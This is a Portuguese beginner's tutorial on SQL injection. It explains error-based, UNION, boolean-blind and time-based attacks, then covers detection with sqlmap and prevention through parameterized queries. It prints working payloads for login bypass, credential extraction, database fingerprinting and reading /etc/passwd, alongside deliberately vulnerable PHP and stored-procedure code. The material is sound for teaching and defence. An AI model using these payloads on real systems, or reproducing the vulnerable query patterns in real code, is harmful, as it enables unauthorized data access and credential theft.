Injeção SQL para iniciantes: exemplos e prevenção

O que é injeção SQL?

Injeção SQL (SQLi) é uma técnica de injeção de código que explora vulnerabilidades em aplicações que constroem consultas SQL usando entrada de usuário não sanitizada. Quando uma aplicação concatena diretamente entrada de usuário em consultas de banco de dados, atacantes podem manipular a estrutura da consulta para acessar dados não autorizados ou realizar operações maliciosas.

Considere um formulário de login simples que verifica credenciais contra um banco de dados:

-- Construção de consulta vulnerável em PHP
$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";

Se um usuário entrar admin como nome de usuário e ' OR '1'='1 como senha, a consulta resultante se torna:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'

Como '1'='1' é sempre verdadeiro, esta consulta retorna todos os usuários, efetivamente contornando a autenticação completamente.

Como funcionam os ataques de injeção SQL

Entender a mecânica da injeção SQL ajuda você a identificar código vulnerável e criar defesas eficazes. Aqui está o fluxo típico de ataque:

O papel da entrada do usuário

A injeção SQL explora a confiança que aplicações depositam na entrada do usuário. Qualquer dado que flui de usuários para consultas SQL é um vetor potencial de ataque:

• 1 Campos de formulário: Credenciais de login, consultas de pesquisa, dados de registro
• 2 Parâmetros de URL: IDs de produto, números de página, opções de filtro
• 3 Cabeçalhos HTTP: User-Agent, Referer, valores de Cookie
• 4 Campos ocultos: Tokens de formulário, IDs de usuário, quantidades de produto

Tipos de injeção SQL

Ataques de injeção SQL se dividem em três categorias principais baseadas em como os atacantes recuperam informações do banco de dados:

Injeção SQL baseada em erro

SQLi baseada em erro depende de mensagens de erro do banco de dados para extrair informações. Quando relatórios de erro verbosos estão habilitados, atacantes podem criar consultas que revelam a estrutura do banco de dados:

-- Entrada que dispara um erro informativo
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--

O banco de dados tenta converter um nome de tabela para inteiro, o que falha e expõe o nome da tabela na mensagem de erro.

Injeção SQL baseada em UNION

Ataques baseados em UNION usam a instrução UNION SELECT para combinar resultados de múltiplas consultas. O atacante primeiro determina o número de colunas, depois extrai dados:

-- Passo 1: Encontrar contagem de colunas usando ORDER BY
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--  (erro aqui significa 2 colunas)

-- Passo 2: Extrair dados usando UNION
' UNION SELECT username, password FROM users--

Injeção SQL cega baseada em booleano

Quando mensagens de erro são suprimidas, atacantes fazem perguntas verdadeiro/falso e observam como a aplicação responde:

-- Se a página carregar normalmente, primeiro caractere da senha é 'a' ou posterior
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') > 'a'--

-- Reduzir caractere por caractere
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 's'--

Injeção SQL cega baseada em tempo

Quando até diferenças booleanas não são visíveis, atacantes usam funções de sleep do banco de dados para inferir resultados baseados no tempo de resposta:

-- Se a resposta leva 5 segundos, a condição é verdadeira
' AND IF(1=1, SLEEP(5), 0)--

-- Extrair dados um caractere por vez
' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='s', SLEEP(5), 0)--

Exemplos comuns de ataques de injeção SQL

Vamos examinar cenários práticos de injeção SQL que você pode encontrar durante testes de penetração ou avaliações de segurança.

Bypass de autenticação

O ataque clássico "admin sem senha" usa lógica booleana para contornar verificação de login:

Nome de usuário: admin'--
Senha: qualquer coisa

-- Consulta resultante:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'qualquer coisa'
-- Tudo depois de -- é tratado como comentário

Extração de dados com UNION

Suponha que uma página de produto use esta URL: product.php?id=5. Um atacante pode extrair dados de outras tabelas:

-- Consulta original
SELECT name, price, description FROM products WHERE id = 5

-- URL maliciosa: product.php?id=5 UNION SELECT username, password, email FROM users--
-- Resultados exibem credenciais de usuário em vez de informações do produto

Fingerprinting de banco de dados

Identificar o tipo de banco de dados ajuda atacantes a escolher payloads apropriados:

-- MySQL: Retorna versão como "8.0.32"
' UNION SELECT @@version, NULL, NULL--

-- SQL Server: Retorna informações de versão
' UNION SELECT @@version, NULL, NULL--

-- PostgreSQL
' UNION SELECT version(), NULL, NULL--

-- Oracle
' UNION SELECT banner FROM v$version WHERE rownum=1--

Lendo arquivos do sistema (MySQL)

Em servidores MySQL mal configurados, atacantes podem ler arquivos do sistema de arquivos:

-- Ler /etc/passwd no Linux
' UNION SELECT LOAD_FILE('/etc/passwd'), NULL, NULL--

Como detectar vulnerabilidades de injeção SQL

Encontrar injeção SQL requer testes sistemáticos de todos os pontos de entrada do usuário. Aqui estão as técnicas principais:

Checklist de testes manuais

• 1 Teste de aspas simples: Entre ' e procure por erros de banco de dados ou comportamento inesperado
• 2 Condições booleanas: Compare respostas a 1=1 (verdadeiro) vs 1=2 (falso)
• 3 Atrasos de tempo: Injete SLEEP(5) e meça diferenças no tempo de resposta
• 4 Concatenação de string: Teste se test é igual a te'+'st (SQL Server) ou te'||'st (Oracle)

Ferramentas automatizadas

Várias ferramentas automatizam detecção e exploração de injeção SQL:

Exemplo de comando SQLMap para testar um parâmetro de URL:

# Scan básico SQLMap
sqlmap -u "http://target.example/product.php?id=5" --dbs

# Opções explicadas:
# -u: URL alvo com parâmetro injetável
# --dbs: Enumerar bancos de dados disponíveis

Como prevenir injeção SQL

Prevenir injeção SQL requer uma abordagem de defesa em profundidade. Nenhuma técnica única é infalível, então implemente múltiplas camadas de proteção.

1. Use consultas parametrizadas (instruções preparadas)

Consultas parametrizadas separam código SQL de dados do usuário, tornando injeção impossível. Esta é a defesa mais eficaz:

// VULNERÁVEL - Concatenação de string
$query = "SELECT * FROM users WHERE username = '" . $username . "'";

// SEGURO - Consulta parametrizada (PHP PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);

Aqui está o equivalente em outras linguagens:

# Python com SQLite
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))

// Java com JDBC
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);

// Node.js com mysql2
connection.execute("SELECT * FROM users WHERE username = ?", [username]);

2. Use procedimentos armazenados corretamente

Procedimentos armazenados podem fornecer proteção quando implementados adequadamente, mas não são automaticamente seguros. Evite SQL dinâmico dentro de procedimentos:

-- Procedimento armazenado VULNERÁVEL
CREATE PROCEDURE GetUser(@username VARCHAR(50))
AS
  EXEC('SELECT * FROM users WHERE username = ''' + @username + '''')

-- Procedimento armazenado SEGURO
CREATE PROCEDURE GetUser(@username VARCHAR(50))
AS
  SELECT * FROM users WHERE username = @username

3. Validação e sanitização de entrada

Embora não seja uma defesa completa, validação de entrada adiciona outra camada de segurança:

• A Validação por whitelist: Aceite apenas caracteres esperados (alfanuméricos para nomes de usuário)
• B Verificação de tipo: Garanta que parâmetros numéricos sejam realmente números
• C Limites de comprimento: Restrinja comprimento de entrada aos máximos esperados

// Validar que ID é numérico antes do uso
if (!is_numeric($_GET['id'])) {
    die("ID de produto inválido");
}
$id = (int) $_GET['id'];

4. Aplique o princípio do menor privilégio

Contas de banco de dados usadas por aplicações web devem ter permissões mínimas:

• Crie contas separadas para operações de leitura e escrita
• Nunca use contas de administrador de banco de dados para aplicações web
• Restrinja acesso a tabelas do sistema e procedimentos armazenados sensíveis
• Desabilite funções perigosas como xp_cmdshell no SQL Server

5. Use Web Application Firewalls (WAF)

WAFs podem bloquear padrões comuns de injeção SQL como uma camada adicional, mas não devem ser sua defesa primária. Atacantes frequentemente encontram contornos para regras WAF.

Considerações legais e éticas

Testes de injeção SQL devem ser realizados apenas em sistemas que você possui ou tem autorização escrita explícita para testar. Acesso não autorizado a banco de dados é uma ofensa criminal na maioria das jurisdições.

Para aprendizado e prática, sempre use aplicações intencionalmente vulneráveis ou ambientes de laboratório autorizados.

Pratique injeção SQL com segurança

A melhor maneira de entender injeção SQL é prática hands-on em ambientes seguros e legais. Aqui estão recursos projetados especificamente para aprendizado:

Para aprendizado abrangente, o curso de injeção SQL cobre teoria, detecção, exploração e prevenção em profundidade. Combine com treinamento de ferramentas da folha de referência SQLMap para construir habilidades práticas.

Outras plataformas de prática

• DVWA (Damn Vulnerable Web Application): Aplicação de prática clássica com múltiplos níveis de dificuldade
• SQLi-labs: Coleção focada de desafios de injeção SQL
• PortSwigger Web Security Academy: Labs gratuitos dos criadores do Burp Suite

Perguntas frequentes